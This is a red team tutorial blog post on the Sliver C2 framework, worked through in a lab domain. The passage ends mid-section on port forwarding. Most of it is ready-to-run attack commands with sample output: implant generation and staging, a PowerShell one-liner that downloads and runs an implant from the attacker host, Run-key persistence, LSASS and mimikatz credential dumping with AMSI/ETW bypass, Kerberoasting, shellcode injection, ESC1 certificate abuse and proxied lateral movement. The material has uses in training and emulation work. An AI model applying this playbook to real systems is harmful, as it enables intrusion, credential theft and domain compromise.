Post

Sliver C2 Deep Dive: Complete Red Team Field Guide

A comprehensive red team guide to Sliver C2 — installation, implant generation, all transport protocols, post-exploitation, BOF, armory, pivoting, evasion, and real attack scenarios with full commands.

Sliver C2 Deep Dive: Complete Red Team Field Guide

What Is Sliver?

Sliver is an open-source, cross-platform adversary emulation and C2 framework written in Go, developed by Bishop Fox. It is one of the most actively used C2 frameworks in professional red team engagements today — and is increasingly seen in real intrusions by threat actors including APT29 (Cozy Bear/SVR) and BumbleBee loader campaigns.

Why Sliver over Cobalt Strike?

FeatureSliverCobalt Strike
CostFree / Open Source~$3,500/year
LanguageGo (cross-compiled)Java
Transport protocolsmTLS, WireGuard, HTTP/S, DNSHTTP/S, DNS, SMB, TCP
Built-in OPSECSymbol obfuscation, GarbleMalleable C2 profiles
MultiplayerYes (gRPC/mTLS)Yes (team server)
BOF supportYes (coff-loader)Yes (native)
PlatformWindows, Linux, macOS implantsWindows primary
.NET executionexecute-assembly (Donut)execute-assembly
APT usageAPT29, BumbleBee, DEV-0237Historically popular

Lab environment used throughout this blog:

RoleValue
Attacker / C2 ServerKali Linux — 10.10.14.55
Victim 1Windows 10/11 — 10.129.229.224 (user: eliot)
Victim 2 (pivot target)Windows Server 2022 DC — 10.129.229.10 (internal)
Domaininlanefreight.local
Attacker userhossam / HossamR3dT3am!
Shell promptroot@root$

Architecture Overview

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌─────────────────────────────────────────────────┐
│                SLIVER ECOSYSTEM                  │
│                                                  │
│  ┌──────────────┐  gRPC/mTLS  ┌──────────────┐  │
│  │ sliver-client│ ──────────► │ sliver-server│  │
│  │  (operator)  │  TCP 31337  │  (team srvr) │  │
│  └──────────────┘             └──────┬───────┘  │
│                                      │           │
│                              C2 Protocols:       │
│                       mTLS / WireGuard / HTTP/S  │
│                       DNS / TCP                  │
│                                      │           │
│                               ┌──────▼───────┐   │
│                               │   IMPLANT    │   │
│                               │ (sliver.exe) │   │
│                               │  on victim   │   │
│                               └──────────────┘   │
└─────────────────────────────────────────────────┘

Key components:

ComponentDescription
sliver-serverThe C2 server binary — manages implants, listeners, database, gRPC API
sliver-clientOperator console — connects to server via gRPC/mTLS on TCP 31337
Implant (sliver)The beacon/session compiled binary running on the victim
ListenersServer-side protocol handlers (mTLS, WireGuard, HTTP/S, DNS)
ArmoryPackage manager for extensions, aliases, BOFs

Implant modes:

ModeBehaviorUse Case
SessionReal-time persistent connectionActive interactive work, pivoting, SOCKS5
BeaconAsync check-in at intervals with jitterLong-term access, OPSEC-sensitive ops

Installation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Download and run the official installer
root@root$ curl https://sliver.sh/install | sudo bash

# The installer:
# - Installs sliver-server to /usr/local/bin/sliver-server
# - Installs sliver-client to /usr/local/bin/sliver
# - Creates systemd service: sliver (auto-starts on boot)
# - Generates first-run certs, keys, and SQLite database

# Verify service is running
root@root$ sudo systemctl status sliver
root@root$ sudo systemctl enable sliver

# Start interactive server console (single-operator mode)
root@root$ sliver-server

Option 2 — Manual Binary Download

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Download latest release from GitHub
root@root$ wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux -O /usr/local/bin/sliver-server
root@root$ wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-client_linux -O /usr/local/bin/sliver
root@root$ chmod +x /usr/local/bin/sliver-server /usr/local/bin/sliver

# First run — generates config, certs, db
root@root$ sliver-server
[*] Loading configs from /root/.sliver/configs/server.json
[*] Starting gRPC server ...
[*] Loaded 0 implant build(s)

          ██████  ██▓     ██▓ ██▒   █▓▓█████  ██▀███
        ▒██    ▒ ▓██▒    ▓██▒▓██░   █▒▓█   ▀ ▓██ ▒ ██▒
        ░ ▓██▄   ▒██░    ▒██▒ ▓██  █▒░▒███   ▓██ ░▄█ ▒
          ▒   ██▒▒██░    ░██░  ▒██ █░░▒▓█  ▄ ▒██▀▀█▄
        ▒██████▒▒░██████▒░██░   ▒▀█░  ░▒████▒░██▓ ▒██▒
        ▒ ▒▓▒ ▒ ░░ ▒░▓  ░░▓     ░ ▐░  ░░ ▒░ ░░ ▒▓ ░▒▓░
        ░ ░▒  ░ ░░ ░ ▒  ░ ▒ ░   ░ ░░   ░ ░  ░  ░▒ ░ ▒░
        ░  ░  ░    ░ ░    ▒ ░     ░░     ░     ░░   ░
               ░      ░  ░ ░      ░     ░  ░   ░

        All hackers gain .DEATHTOUCH
        https://github.com/BishopFox/sliver

        [*] Server v1.5.x  - ...

Option 3 — Docker

1
2
3
4
root@root$ docker pull ghcr.io/bishopfox/sliver:latest
root@root$ docker run -it --rm -p 443:443 -p 80:80 -p 31337:31337 \
    -v /tmp/sliver:/root/.sliver \
    ghcr.io/bishopfox/sliver:latest

Post-Install: Armory Setup

The Armory is Sliver’s package manager for BOFs, .NET tools, and aliases.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[server] sliver > armory install all
[*] Installing 'Rubeus' (v2.3.2) ... done
[*] Installing 'Seatbelt' (v1.2.1) ... done
[*] Installing 'SharpHound' (v2.4.0) ... done
[*] Installing 'nanodump' (v1.3.0) ... done
[*] Installing 'mimikatz' (v2.2.0-20220919) ... done
[*] Installing 'coff-loader' (v0.0.3) ... done
[*] Installing 'SharpView' (v1.0.1) ... done
[*] Installing 'Certify' (v1.1.0) ... done
...

# Or install specific packages
[server] sliver > armory install nanodump
[server] sliver > armory install Rubeus
[server] sliver > armory install coff-loader

Multiplayer Mode (Team Server)

Multiplayer mode lets multiple operators connect to the same Sliver server simultaneously.

Server-Side: Create Operators

1
2
3
4
5
6
7
8
9
10
11
# On the server console — generate operator config files
[server] sliver > new-operator --name hossam --lhost 10.10.14.55
[*] Generating new operator config for hossam@10.10.14.55 ...
[*] Saved operator config to /root/hossam_10.10.14.55.cfg

[server] sliver > new-operator --name eliot --lhost 10.10.14.55
[*] Saved operator config to /root/eliot_10.10.14.55.cfg

# Start the multiplayer RPC listener (TCP 31337)
[server] sliver > multiplayer
[*] Multiplayer mode enabled!

If running as a systemd service (daemon mode), generate configs via CLI:

1
2
root@root$ sliver-server operator --name hossam --lhost 10.10.14.55 --save /tmp/hossam.cfg
root@root$ sliver-server operator --name teammate2 --lhost 10.10.14.55 --save /tmp/t2.cfg

Client-Side: Connect to Team Server

1
2
3
4
5
6
7
8
9
10
11
12
13
# Install config and connect (operator machine)
root@root$ mkdir -p ~/.sliver-client/configs
root@root$ cp hossam_10.10.14.55.cfg ~/.sliver-client/configs/

# Connect
root@root$ sliver
[*] Connecting to 10.10.14.55:31337 ...
[*] Connected to server (hossam@10.10.14.55)

          ██████  ██▓     ██▓ ██▒   █▓▓█████  ██▀███
        [... banner ...]

[server] sliver >

Listeners (C2 Protocols)

Before generating any implant, you need a listener running on the server.

Mutual TLS: both client and server authenticate with X.509 certificates. Encrypted, authenticated channel.

1
2
3
4
5
6
7
8
[server] sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1

[server] sliver > jobs
 ID  Name  Protocol  Port
====  ====  ========  ====
  1  mtls  tcp        8888

Custom port:

1
[server] sliver > mtls --lport 443

HTTPS Listener (Best for Firewall Bypass)

1
2
3
4
5
6
7
8
9
[server] sliver > https
[*] Starting HTTPS/TLS listener ...
[*] Successfully started job #2

# Custom port + domain
[server] sliver > https --lport 443 --domain updates.microsoft-cdn.net

# With Let's Encrypt certificate (for real engagements)
[server] sliver > https --lport 443 --domain yourdomain.com --lets-encrypt

HTTP Listener

1
2
3
4
5
[server] sliver > http
[*] Starting HTTP listener ...
[*] Successfully started job #3

[server] sliver > http --lport 8080

DNS Listener (Firewall Tunnelling)

DNS-based C2 encodes data in DNS queries. Extremely stealthy — bypasses most egress firewalls since UDP/53 is almost always allowed.

1
2
3
4
5
6
7
# Prerequisite: set up a DNS A record pointing c2.yourdomain.com → 10.10.14.55
# Set up NS record: ns1.yourdomain.com → 10.10.14.55
# (so DNS queries for *.c2.yourdomain.com are forwarded to our server)

[server] sliver > dns --domains c2.inlanefreight.local --lport 53
[*] Starting DNS listener ...
[*] Successfully started job #4

WireGuard Listener (VPN Tunnel)

Creates a WireGuard VPN tunnel between implant and server. Extremely stable and stealthy.

1
2
3
4
5
6
[server] sliver > wg
[*] Starting WireGuard listener ...
[*] Successfully started job #5

# Default: UDP 51820
[server] sliver > wg --lport 51820

Managing Listeners

1
2
3
4
5
6
7
8
9
10
11
[server] sliver > jobs
 ID  Name   Protocol  Port
====  =====  ========  =====
  1  mtls   tcp        8888
  2  https  tcp        443
  3  http   tcp        80
  4  dns    udp        53
  5  wg     udp        51820

# Kill a listener
[server] sliver > jobs --kill 3

Generating Implants

Beacon vs Session: When to Use Each

1
2
3
4
5
6
7
8
9
10
11
12
13
14
BEACON mode (--beacon):
  ✓ Async check-in every N seconds + jitter
  ✓ OPSEC-friendly — low network noise
  ✓ Goes dark between check-ins
  ✗ Commands queue and execute on next check-in
  ✗ Cannot host SOCKS5 proxy or port forwards
  → Use for: long-term access, initial compromise, blending in

SESSION mode (no --beacon flag):
  ✓ Real-time interactive shell
  ✓ Can host SOCKS5 proxy and port forwards
  ✓ Immediate command execution
  ✗ Higher network noise (heartbeat every few seconds)
  → Use for: active post-exploitation, pivoting, lateral movement

Generate: mTLS Beacon (Windows x64 EXE)

1
2
3
4
5
[server] sliver > generate beacon --mtls 10.10.14.55 --os windows --arch amd64 --format exe --seconds 30 --jitter 10 --save /var/www/html/
[*] Generating new windows/amd64 beacon implant binary (30s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:01:12
[*] Implant saved to /var/www/html/STEALTHY_WATCHER.exe

Flag breakdown:

FlagDescription
--mtls 10.10.14.55C2 server address (mTLS protocol)
--os windowsTarget OS: windows, linux, darwin
--arch amd64Architecture: amd64, 386, arm64
--format exeOutput: exe, shared (DLL), service, shellcode
--seconds 30Beacon check-in interval (seconds)
--jitter 10Add up to 10s random delay (anti-beacon detection)
--save /path/Where to save the output

Generate: HTTPS Session (Windows x64 EXE)

1
2
3
4
5
[server] sliver > generate --https 10.10.14.55 --os windows --arch amd64 --format exe --save /var/www/html/
[*] Generating new windows/amd64 session implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 00:01:05
[*] Implant saved to /var/www/html/EAGER_COBRA.exe

Generate: Shellcode (for custom loaders)

1
2
[server] sliver > generate beacon --mtls 10.10.14.55 --os windows --arch amd64 --format shellcode --save /tmp/
[*] Implant saved to /tmp/FAST_TIGER.bin

Generate: Shared Library (DLL)

1
2
[server] sliver > generate beacon --mtls 10.10.14.55 --os windows --arch amd64 --format shared --save /tmp/
[*] Implant saved to /tmp/DARK_FALCON.dll

Generate: Windows Service Binary

Used with PsExec-style lateral movement — the binary registers itself as a Windows service.

1
2
[server] sliver > generate beacon --mtls 10.10.14.55 --os windows --arch amd64 --format service --save /tmp/
[*] Implant saved to /tmp/COLD_MIST.exe

Generate: DNS Beacon

1
[server] sliver > generate beacon --dns c2.inlanefreight.local --os windows --arch amd64 --save /tmp/

Generate: WireGuard Beacon

1
[server] sliver > generate beacon --wg 10.10.14.55 --os windows --arch amd64 --save /tmp/

Generate: Multi-Protocol Implant (Failover)

Compile multiple C2 protocols into one implant — it tries them in order on connect failure:

1
2
[server] sliver > generate beacon --mtls 10.10.14.55 --https 10.10.14.55 --http 10.10.14.55 --os windows --arch amd64 --save /tmp/
# Implant tries: mTLS:8888 → HTTPS:443 → HTTP:80

Generate: Linux Implant

1
2
[server] sliver > generate beacon --mtls 10.10.14.55 --os linux --arch amd64 --format elf --save /tmp/
[*] Implant saved to /tmp/SHADOW_TIGER

Generate: macOS Implant

1
[server] sliver > generate beacon --mtls 10.10.14.55 --os darwin --arch amd64 --save /tmp/

Profiles: Save and Reuse Implant Config

Profiles save your generation options so you don’t retype them:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Create a profile
[server] sliver > profiles new beacon --mtls 10.10.14.55 --os windows --arch amd64 --format exe --seconds 30 --jitter 10 my-win-beacon

[server] sliver > profiles new --https 10.10.14.55 --os windows --arch amd64 --format shellcode my-shellcode

# List profiles
[server] sliver > profiles
 Profile Name      Platform        Command & Control  Implant Type  Format
==============  ==============  ===================  ============  ========
 my-win-beacon  windows/amd64  [mtls://10.10.14.55]   beacon       exe
 my-shellcode   windows/amd64  [https://10.10.14.55]  session      shellcode

# Generate from profile
[server] sliver > profiles generate my-win-beacon --save /var/www/html/
[*] Implant saved to /var/www/html/PROUD_DRAGON.exe

# Generate shellcode from profile with shikata ga nai encoding
[server] sliver > profiles generate --save /tmp/ my-shellcode
? Encode shellcode with shikata ga nai? Yes
[*] Encoding shellcode with shikata ga nai ... success!
[*] Implant saved to /tmp/HUNGRY_RUNAWAY.bin

Staged vs Stageless Implants

Stageless (Default)

A single binary containing everything needed to establish C2. Larger in size but simpler deployment.

1
2
# Everything above generates stageless payloads by default
generate beacon --mtls 10.10.14.55 --format exe

Staged (Two-Stage — Better Evasion)

Stage 1: A tiny stager (~few KB) that calls back to the C2 and downloads the full implant in-memory. Stage 2: The full Sliver beacon, served by the stage listener, executed entirely in memory.

1
2
3
4
5
6
7
8
9
10
11
12
13
# Step 1: Create an implant profile (this defines the stage 2)
[server] sliver > profiles new beacon --http 10.10.14.55:8999 --os windows --arch amd64 --format shellcode --skip-symbols staged-profile

# Step 2: Start the HTTP listener for callbacks
[server] sliver > http --lport 80

# Step 3: Start a stage listener to serve the implant shellcode
[server] sliver > stage-listener --url http://10.10.14.55:8999 --profile staged-profile
[*] Starting HTTP stage listener on 0.0.0.0:8999

# Step 4: Generate the stager (tiny dropper shellcode)
[server] sliver > generate stager --lhost 10.10.14.55 --lport 8999 --arch amd64 --format csharp --save /tmp
[*] Sliver implant stager saved to: /tmp/BAD_PURITAN

Stage 1 execution flow:

1
2
3
4
5
6
Victim executes tiny stager
  └─ Stager connects to 10.10.14.55:8999
        └─ Downloads full beacon shellcode into memory
              └─ Injects and executes shellcode in-process
                    └─ Full Sliver beacon calls back to 10.10.14.55:80
                          └─ Session/Beacon established

Receiving and Interacting with Implants

Deliver the Payload

1
2
3
4
5
6
7
8
9
10
# Option 1: Host via Python HTTPS
root@root$ cd /var/www/html
root@root$ python3 -m http.server 8080

# Option 2: SMB share (for internal delivery)
root@root$ impacket-smbserver share /var/www/html/ -smb2support

# Victim download command
# PowerShell one-liner (victim executes this):
# IEX(New-Object Net.WebClient).DownloadFile('http://10.10.14.55/STEALTHY_WATCHER.exe','C:\Windows\Temp\update.exe'); Start-Process 'C:\Windows\Temp\update.exe'

Receiving a Beacon

When the implant executes on the victim, the server console shows:

1
2
3
4
5
6
[*] Beacon STEALTHY_WATCHER - 10.129.229.224:50123 (DESKTOP-WIN11) - windows/amd64 - Thu, 19 Mar 2026 23:30:00 EET

[server] sliver > beacons
 ID         Name              Transport  Hostname       Username  PID    Last Check-In  Next Check-In
==========  ================  =========  =============  ========  =====  =============  =============
 a1b2c3d4   STEALTHY_WATCHER  mtls       DESKTOP-WIN11  eliot     4832   just now       29s

Receiving a Session

1
2
3
4
5
6
[*] Session EAGER_COBRA - 10.129.229.224:50456 (DESKTOP-WIN11) - windows/amd64 - Thu, 19 Mar 2026 23:31:00 EET

[server] sliver > sessions
 ID         Name         Transport  Hostname       Username  PID    Last Check-In
==========  ===========  =========  =============  ========  =====  =============
 b5c6d7e8   EAGER_COBRA  https      DESKTOP-WIN11  eliot     3920   just now

Interacting with a Beacon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Use beacon by ID (partial ID works)
[server] sliver > use a1b2
[*] Active beacon STEALTHY_WATCHER (a1b2c3d4)

[server] sliver (STEALTHY_WATCHER) > whoami
[*] Tasked beacon STEALTHY_WATCHER (task: abc123)
[+] STEALTHY_WATCHER completed task abc123

inlanefreight\eliot

[server] sliver (STEALTHY_WATCHER) > info
        Beacon ID: a1b2c3d4-...
          Beacon Name: STEALTHY_WATCHER
             Hostname: DESKTOP-WIN11
         Remote Addr: 10.129.229.224:50123
              OS/Arch: windows/amd64
                  PID: 4832
                 User: inlanefreight\eliot
         Active C2:  mtls://10.10.14.55:8888
    Check-In Interval: 30s (jitter: 10s)

Convert Beacon → Interactive Session

1
2
3
4
5
6
7
8
[server] sliver (STEALTHY_WATCHER) > interactive
[*] Using same C2 endpoint mTLS...
[*] Tasked beacon to open session...
[+] Session STEALTHY_WATCHER opened

# Now in session mode — real-time
[server] sliver (STEALTHY_WATCHER) > whoami
inlanefreight\eliot

Core Post-Exploitation Commands

Once you have a session or beacon, these are your most-used commands.

System Information

1
2
3
4
5
6
7
8
9
10
sliver (STEALTHY_WATCHER) > info           # implant info
sliver (STEALTHY_WATCHER) > whoami         # current user + groups
sliver (STEALTHY_WATCHER) > getuid         # UID/SID
sliver (STEALTHY_WATCHER) > getgid
sliver (STEALTHY_WATCHER) > hostname       # machine name
sliver (STEALTHY_WATCHER) > ifconfig       # network interfaces
sliver (STEALTHY_WATCHER) > netstat        # active connections
sliver (STEALTHY_WATCHER) > ps             # process list
sliver (STEALTHY_WATCHER) > env            # environment variables
sliver (STEALTHY_WATCHER) > screenshot     # take screenshot (saved locally)

Sample output:

1
2
3
4
5
6
7
8
9
10
sliver (STEALTHY_WATCHER) > ps

 PID    PPID   Arch   Owner                  Executable
======  =====  =====  =====================  ========================
 4      0      x64    NT AUTHORITY\SYSTEM    System
 ...
 628    492    x64    NT AUTHORITY\SYSTEM    lsass.exe
 1340   728    x64    inlanefreight\eliot    explorer.exe
 4832   1340   x64    inlanefreight\eliot    STEALTHY_WATCHER.exe
 5012   1340   x64    inlanefreight\eliot    chrome.exe

File Operations

1
2
3
4
5
6
7
8
9
10
sliver (STEALTHY_WATCHER) > ls                         # list current directory
sliver (STEALTHY_WATCHER) > ls C:\Users\eliot\Desktop  # list specific path
sliver (STEALTHY_WATCHER) > pwd                        # print working directory
sliver (STEALTHY_WATCHER) > cd C:\Users\eliot          # change directory
sliver (STEALTHY_WATCHER) > cat C:\Users\eliot\secrets.txt  # read file
sliver (STEALTHY_WATCHER) > download C:\Users\eliot\Desktop\passwords.txt  # download to C2
sliver (STEALTHY_WATCHER) > upload /tmp/tool.exe C:\Windows\Temp\tool.exe  # upload to victim
sliver (STEALTHY_WATCHER) > rm C:\Windows\Temp\tool.exe  # delete file
sliver (STEALTHY_WATCHER) > mkdir C:\Windows\Temp\new_folder  # create directory
sliver (STEALTHY_WATCHER) > mv C:\old.txt C:\new.txt   # move/rename file

Shell Execution

1
2
3
4
5
6
7
8
9
10
11
12
# Run a shell command and get output
sliver (STEALTHY_WATCHER) > shell           # interactive shell (noisy — avoid)
sliver (STEALTHY_WATCHER) > execute -o whoami             # run command, get output
sliver (STEALTHY_WATCHER) > execute -o "net localgroup administrators"
sliver (STEALTHY_WATCHER) > execute -o "net group 'Domain Admins' /domain"
sliver (STEALTHY_WATCHER) > execute -o "ipconfig /all"
sliver (STEALTHY_WATCHER) > execute -o "arp -a"
sliver (STEALTHY_WATCHER) > execute -o "netstat -ano"

# PowerShell
sliver (STEALTHY_WATCHER) > execute -o powershell -c "Get-ADUser -Filter * | Select Name,SamAccountName"
sliver (STEALTHY_WATCHER) > execute -o powershell -c "Get-Process | Sort CPU -Descending | Select -First 20"

Registry Operations

1
2
3
sliver (STEALTHY_WATCHER) > registry read --hive HKCU --path "Software\Microsoft\Windows\CurrentVersion\Run"
sliver (STEALTHY_WATCHER) > registry write --hive HKCU --path "Software\Microsoft\Windows\CurrentVersion\Run" --key "Updater" --string "C:\Windows\Temp\beacon.exe"
sliver (STEALTHY_WATCHER) > registry delete --hive HKCU --path "Software\Microsoft\Windows\CurrentVersion\Run" --key "Updater"

Scenario 1: Initial Access → System

Goal: Get from domain user eliot to SYSTEM on DESKTOP-WIN11

Step 1: Deploy beacon, confirm access

1
2
3
4
5
6
7
8
9
10
11
12
# Victim executes payload (delivered via phishing/VBS/HTA)
# Beacon checks in:
[*] Beacon STEALTHY_WATCHER - 10.129.229.224 (DESKTOP-WIN11) - windows/amd64

[server] sliver > use a1b2
sliver (STEALTHY_WATCHER) > whoami
inlanefreight\eliot

sliver (STEALTHY_WATCHER) > getprivs
SeShutdownPrivilege                           - Disabled
SeChangeNotifyPrivilege                       - Enabled
SeUndockPrivilege                             - Disabled

Step 2: Convert to interactive session

1
2
sliver (STEALTHY_WATCHER) > interactive
[+] Session STEALTHY_WATCHER opened

Step 3: Local enumeration

1
2
3
sliver (STEALTHY_WATCHER) > execute -o whoami /all
sliver (STEALTHY_WATCHER) > execute -o net localgroup administrators
sliver (STEALTHY_WATCHER) > execute -o systeminfo

Step 4: Run Seatbelt for full host recon (via execute-assembly)

1
2
3
4
5
6
7
8
9
10
11
sliver (STEALTHY_WATCHER) > execute-assembly --process notepad.exe --ppid 1340 /opt/tools/Seatbelt.exe -group=system
[*] Output:
====== AMSIProviders ======
  GUID: {2781761E-28E0-4109-99FE-B9D127C57AFE}
  ProviderPath: "C:\ProgramData\Microsoft\Windows Defender\..."
====== AutoRuns ======
  ...
====== LocalUsers ======
  ...
====== SePrivileges ======
  ...

Step 5: Privilege Escalation (getsystem)

1
2
3
4
# getsystem attempts multiple token impersonation techniques
sliver (STEALTHY_WATCHER) > getsystem
[*] A new SYSTEM session has been opened!
[*] Session IRON_GHOST opened (SYSTEM on DESKTOP-WIN11)

If getsystem fails, use GodPotato via execute-assembly:

1
2
3
# Attacker: generate shellcode for a new beacon
root@root$ # In sliver:
# generate --mtls 10.10.14.55 --os windows --arch amd64 --format shellcode --save /tmp/sys_beacon.bin
1
2
3
4
# In session: use GodPotato to execute shellcode as SYSTEM
sliver (STEALTHY_WATCHER) > execute-assembly --process notepad.exe /opt/tools/GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\sys_beacon.exe"
# Or inject shellcode
sliver (STEALTHY_WATCHER) > execute-shellcode --pid 628 /tmp/sys_beacon.bin

Step 6: Migrate to SYSTEM process

1
2
3
4
5
6
sliver (STEALTHY_WATCHER) > ps | grep -i winlogon
 500   492  x64  NT AUTHORITY\SYSTEM  winlogon.exe

sliver (STEALTHY_WATCHER) > migrate --pid 500
[*] Successfully migrated to process 500 (winlogon.exe)
[*] New session IRON_GHOST opened under SYSTEM

Credential Dumping

Method 1: procdump + Mimikatz offline

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Dump LSASS to file
sliver (STEALTHY_WATCHER) > procdump --pid 628
[*] Process dump saved to: /tmp/lsass.dmp

# Parse offline with pypykatz (attacker machine)
root@root$ pip3 install pypykatz
root@root$ pypykatz lsa minidump /tmp/lsass.dmp
...
== MSV ==
    Username: eliot
    Domain: INLANEFREIGHT
    NT: 5f4dcc3b5aa765d61d8327deb882cf99
    LM: aad3b435b51404eeaad3b435b51404ee
    SHA1: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
== WDigest ==
    username: eliot
    password: Password123!

Method 2: nanodump (Armory — OPSEC Friendly)

nanodump dumps LSASS without touching the filesystem in a standard way.

1
2
3
4
5
6
7
8
[server] sliver > armory install nanodump
[server] sliver > use a1b2
sliver (STEALTHY_WATCHER) > nanodump
[*] Dumping LSASS ...
[*] Dump saved to loot: nanodump_lsass.dmp

# Parse locally
root@root$ pypykatz lsa minidump /root/.sliver/loot/nanodump_lsass.dmp

Method 3: hashdump

1
2
3
4
5
6
sliver (STEALTHY_WATCHER) > hashdump
[*] Tasked beacon STEALTHY_WATCHER
[+] Completed task

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
eliot:1001:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::

Method 4: Mimikatz via execute-assembly

1
2
3
4
5
6
7
8
9
10
sliver (STEALTHY_WATCHER) > execute-assembly --in-process --amsi-bypass --etw-bypass /opt/tools/mimikatz.exe "sekurlsa::logonpasswords" "exit"
[*] Output:
Authentication Id : 0 ; 1234567 (00000000:0012d687)
Session           : Interactive from 1
User Name         : eliot
Domain            : INLANEFREIGHT
Logon Server      : DC01
         * Username : eliot
         * Domain   : INLANEFREIGHT.LOCAL
         * Password : Password123!

Method 5: Kerberoasting via Rubeus

1
2
3
4
5
6
7
8
9
10
sliver (STEALTHY_WATCHER) > rubeus kerberoast /nowrap /format:hashcat
[*] Action: Kerberoasting

[*] Target Domain          : inlanefreight.local
[*] Searching path 'LDAP://DC01.inlanefreight.local' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt))'

[*] Total kerberoastable users : 3

[*] SamAccountName         : MSSQLSvc
[*] Hash                   : $krb5tgs$23$*MSSQLSvc$INLANEFREIGHT.LOCAL$...HASH...$
1
2
# Crack with hashcat
root@root$ hashcat -m 13100 krb5tgs.txt /usr/share/wordlists/rockyou.txt

Process Injection and Shellcode Execution

inject: Inject Shellcode into Existing Process

1
2
3
4
5
6
7
8
# List processes, find a suitable target
sliver (STEALTHY_WATCHER) > ps
...
 5012   1340   x64   inlanefreight\eliot    chrome.exe

# Inject shellcode into chrome.exe (same user — no admin needed)
sliver (STEALTHY_WATCHER) > execute-shellcode --pid 5012 /tmp/beacon.bin
[*] Injected shellcode into PID 5012

execute-shellcode: Launch Shellcode in Sacrificial Process

1
2
# Spawn a new notepad.exe and inject shellcode into it
sliver (STEALTHY_WATCHER) > execute-shellcode --process notepad.exe /tmp/beacon.bin

migrate: Move Implant to Another Process

1
2
3
4
5
6
7
# Find SYSTEM process
sliver (STEALTHY_WATCHER) > ps | grep -i "winlogon\|svchost\|lsass"

# Migrate to svchost (SYSTEM)
sliver (STEALTHY_WATCHER) > migrate --pid 892
[*] Successfully migrated to PID 892
[+] New session opened (now running as SYSTEM in svchost.exe)

execute-assembly: Run .NET Assemblies In-Memory

1
2
3
4
5
6
7
8
9
10
11
12
# Run Seatbelt in sacrificial process (notepad.exe)
sliver (STEALTHY_WATCHER) > execute-assembly --process notepad.exe --ppid 1340 /opt/Seatbelt.exe -group=All

# Run in-process (no new process created — more OPSEC friendly)
sliver (STEALTHY_WATCHER) > execute-assembly --in-process --amsi-bypass --etw-bypass /opt/Seatbelt.exe -group=user

# Run Rubeus in-process
sliver (STEALTHY_WATCHER) > execute-assembly --in-process --amsi-bypass --etw-bypass /opt/Rubeus.exe asreproast /format:hashcat /nowrap

# Run SharpHound (AD enum)
sliver (STEALTHY_WATCHER) > execute-assembly --in-process /opt/SharpHound.exe --CollectionMethod All --ZipFileName bloodhound.zip
sliver (STEALTHY_WATCHER) > download C:\Windows\Temp\bloodhound.zip

Scenario 2: Active Directory Enumeration

Goal: Enumerate AD from compromised host, find paths to Domain Admin

Step 1: Run SharpHound

1
2
3
sliver (STEALTHY_WATCHER) > execute-assembly --in-process --amsi-bypass /opt/SharpHound.exe -c All --zipfilename bh_out.zip
[*] SharpHound completed collection
sliver (STEALTHY_WATCHER) > download C:\Windows\Temp\bh_out_20260319.zip
1
2
3
4
# Import into BloodHound on attacker machine
root@root$ neo4j start
root@root$ bloodhound &
# Import ZIP via drag-and-drop

Step 2: SharpView for AD Recon

1
2
3
4
5
sliver (STEALTHY_WATCHER) > execute-assembly --in-process /opt/SharpView.exe Get-DomainUser -Identity eliot
sliver (STEALTHY_WATCHER) > execute-assembly --in-process /opt/SharpView.exe Get-DomainGroupMember -Identity "Domain Admins"
sliver (STEALTHY_WATCHER) > execute-assembly --in-process /opt/SharpView.exe Get-DomainComputer -Properties name,dnshostname,operatingsystem
sliver (STEALTHY_WATCHER) > execute-assembly --in-process /opt/SharpView.exe Find-DomainShare -CheckShareAccess
sliver (STEALTHY_WATCHER) > execute-assembly --in-process /opt/SharpView.exe Find-LocalAdminAccess

Step 3: Certify — AD CS Enumeration

1
2
3
4
5
6
7
8
9
10
sliver (STEALTHY_WATCHER) > execute-assembly --in-process /opt/Certify.exe find /vulnerable
[*] Action: Find certificate templates
...
[!] Vulnerable Certificates Templates:
    CA Name                 : CA01.inlanefreight.local
    Template Name           : UserAuthentication
    Enabled                 : True
    Client Authentication   : True
    Enrollee Supplies Subject: True   ← ESC1 vulnerability!
    ...
1
2
3
4
5
6
# Exploit ESC1 — request cert as Administrator
sliver (STEALTHY_WATCHER) > execute-assembly --in-process /opt/Certify.exe request /ca:CA01.inlanefreight.local\CA01 /template:UserAuthentication /altname:administrator
# → Get certificate PEM
# Convert to PFX and use with Rubeus
root@root$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx
sliver (STEALTHY_WATCHER) > execute-assembly --in-process /opt/Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /getcredentials /nowrap

Pivoting and Network Tunnelling

This is where Sliver’s session mode shines. Sessions can host SOCKS5 proxies and port forwards to reach internal networks.

SOCKS5 Proxy (Reach Internal Hosts)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Must be in SESSION mode (not beacon)
sliver (STEALTHY_WATCHER) > socks5 start --host 127.0.0.1 --port 1080
[*] Started SOCKS5 127.0.0.1:1080

# Configure proxychains on attacker machine
root@root$ cat >> /etc/proxychains4.conf << 'EOF'
[ProxyList]
socks5  127.0.0.1 1080
EOF

# Now scan/attack internal network through the proxy
root@root$ proxychains4 nmap -sT -Pn -p 445,3389,5985 10.129.229.10
root@root$ proxychains4 crackmapexec smb 10.129.229.10 -u eliot -p 'Password123!'
root@root$ proxychains4 evil-winrm -i 10.129.229.10 -u administrator -p 'Admin@123!'
root@root$ proxychains4 impacket-secretsdump administrator@10.129.229.10

Port Forward (Access Specific Service)

1
2
3
4
5
6
# Forward DC's RDP port to localhost
